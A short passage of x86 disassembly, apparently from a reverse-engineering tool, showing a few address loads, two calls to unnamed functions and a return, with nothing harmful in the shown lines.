lea eax, [ebp - 0x134]
mov edx, 9
call fcn.00405774
lea eax, [ebp - 4]
call fcn.00405750
ret